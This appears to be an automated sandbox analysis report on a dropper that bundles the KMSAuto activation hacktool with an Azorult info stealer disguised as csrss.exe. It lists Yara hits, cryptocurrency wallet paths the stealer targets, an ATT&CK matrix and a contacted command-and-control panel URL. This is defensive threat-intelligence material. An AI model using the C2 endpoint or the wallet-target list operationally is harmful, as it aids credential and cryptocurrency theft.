Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\csrss.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: c:\users\user\desktop\procexp.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: procexp.exe

Stealing of Sensitive Information

Yara detected Azorult

Source: Yara match	File source: 1.2.csrss.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csrss.exe PID: 5224, type: MEMORYSTR

Yara detected Azorult Info Stealer

Source: Yara match	File source: 1.2.csrss.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: csrss.exe PID: 5224, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: csrss.exe	String found in binary or memory: electrum.dat
Source: csrss.exe	String found in binary or memory: %appdata%\Electrum\wallets\
Source: csrss.exe	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: csrss.exe	String found in binary or memory: %APPDATA%\Exodus\
Source: csrss.exe	String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: csrss.exe	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: csrss.exe	String found in binary or memory: %APPDATA%\Exodus\
Source: csrss.exe	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: csrss.exe	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: csrss.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Command and Scripting Interpreter	Path Interception	12 Process Injection	12 Masquerading	1 Credential API Hooking	531 Security Software Discovery	Remote Services	1 Credential API Hooking	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	12 Virtualization/Sandbox Evasion	LSASS Memory	12 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	2 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Disable or Modify Tools	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	12 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	113 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	214 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	57%	ReversingLabs	Win32.Trojan.Strictor
ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	45%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\csrss.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Roaming\csrss.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\$inst\temp_0.tmp	100%	Joe Sandbox ML
C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe	71%	ReversingLabs	Win32.Hacktool.AutoKMS
C:\Users\user\AppData\Roaming\csrss.exe	67%	ReversingLabs	Win32.Spyware.Azorult

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.0.csrss.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File
1.2.csrss.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
https://dotbit.me/a/	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.founder.c	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/~	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/9	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cnl	0%	URL Reputation	safe
http://www.fonts.comn	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.comd	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0a	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Z	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Z	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/M	0%	URL Reputation	safe
http://www.tiro.comn	0%	URL Reputation	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://www.fonts.comW	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/b	0%	URL Reputation	safe
http://www.sandoll.co.krA	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/ito	0%	Avira URL Cloud	safe
http://www.founder.c#	0%	Avira URL Cloud	safe
http://forum.ru-board.comMarathiWindows	0%	Avira URL Cloud	safe
https://index.from.sh/pages/game.html	0%	Avira URL Cloud	safe
https://index.from.sh/pages/game.html	0%	Virustotal		Browse
http://www.jiyu-kobo.co.jp/ito	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
f0355889.xsph.ru	141.8.192.151	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://f0355889.xsph.ru/Panel/index.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://forum.ru-board.com	KMSAuto Net.exe.0.dr	false		high
http://www.fontbureau.com/designersG	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cp.sprinthost.ru/customer/ips/list	csrss.exe, 00000001.00000003.255564669.0000000002E04000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.274376515.0000000002E0C000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255583166.0000000002E08000.00000004.00001000.00020000.00000000.sdmp	false		high
https://index.from.sh/pages/game.html	csrss.exe, 00000001.00000003.255564669.0000000002E04000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255546682.0000000002E1C000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255583166.0000000002E08000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.274427424.0000000002E00000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255405907.0000000002E04000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255463802.0000000002E0C000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/?	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip-api.com/json	csrss.exe, csrss.exe, 00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp	false		high
https://dotbit.me/a/	csrss.exe, csrss.exe, 00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.265177397.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.c	KMSAuto Net.exe, 00000002.00000003.267280152.0000000005D04000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.267584430.0000000005D09000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/~	KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	KMSAuto Net.exe, 00000002.00000003.264600737.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264730443.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264661332.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264634623.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264512674.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264465536.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264393524.0000000005D22000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264689563.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264764177.0000000005D24000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/9	KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.265139659.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.265177397.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249938903.0000000002217000.00000004.00001000.00020000.00000000.sdmp, ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	false		high
http://www.founder.com.cn/cnl	KMSAuto Net.exe, 00000002.00000003.267704547.0000000005D0B000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.267280152.0000000005D04000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.267584430.0000000005D09000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://habrahabr.ru/post/192986/#	KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	false		high
http://www.fonts.comn	KMSAuto Net.exe, 00000002.00000003.264689563.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.youtube.com/watch?v=niXf0ov0S8I	KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	false		high
https://keepass.info/1020KMSAuto	ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	false		high
http://forum.ru-board.comMarathiWindows	KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	KMSAuto Net.exe, 00000002.00000003.264730443.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264730443.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	KMSAuto Net.exe, 00000002.00000003.266039290.0000000005D09000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.comd	KMSAuto Net.exe, 00000002.00000003.264600737.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264730443.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264661332.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264634623.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264512674.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264465536.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264393524.0000000005D22000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264689563.0000000005D23000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264764177.0000000005D24000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	KMSAuto Net.exe, 00000002.00000002.516542366.0000000002C61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Y0a	KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.krA	KMSAuto Net.exe, 00000002.00000003.266039290.0000000005D09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/Z	KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.thawte.com0	ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249938903.0000000002217000.00000004.00001000.00020000.00000000.sdmp, ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/M	KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.comn	KMSAuto Net.exe, 00000002.00000003.265139659.0000000005D1B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://keepass.info/	ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe	false		high
http://upx.sf.net	Amcache.hve.4.dr	false		high
http://www.youtube.com/results?search_query=%22KMSAuto%20Net%202015%22	KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	false		high
http://www.fontbureau.coma	KMSAuto Net.exe, 00000002.00000002.519780552.0000000005D00000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.comW	KMSAuto Net.exe, 00000002.00000003.264730443.0000000005D24000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000003.264689563.0000000005D23000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
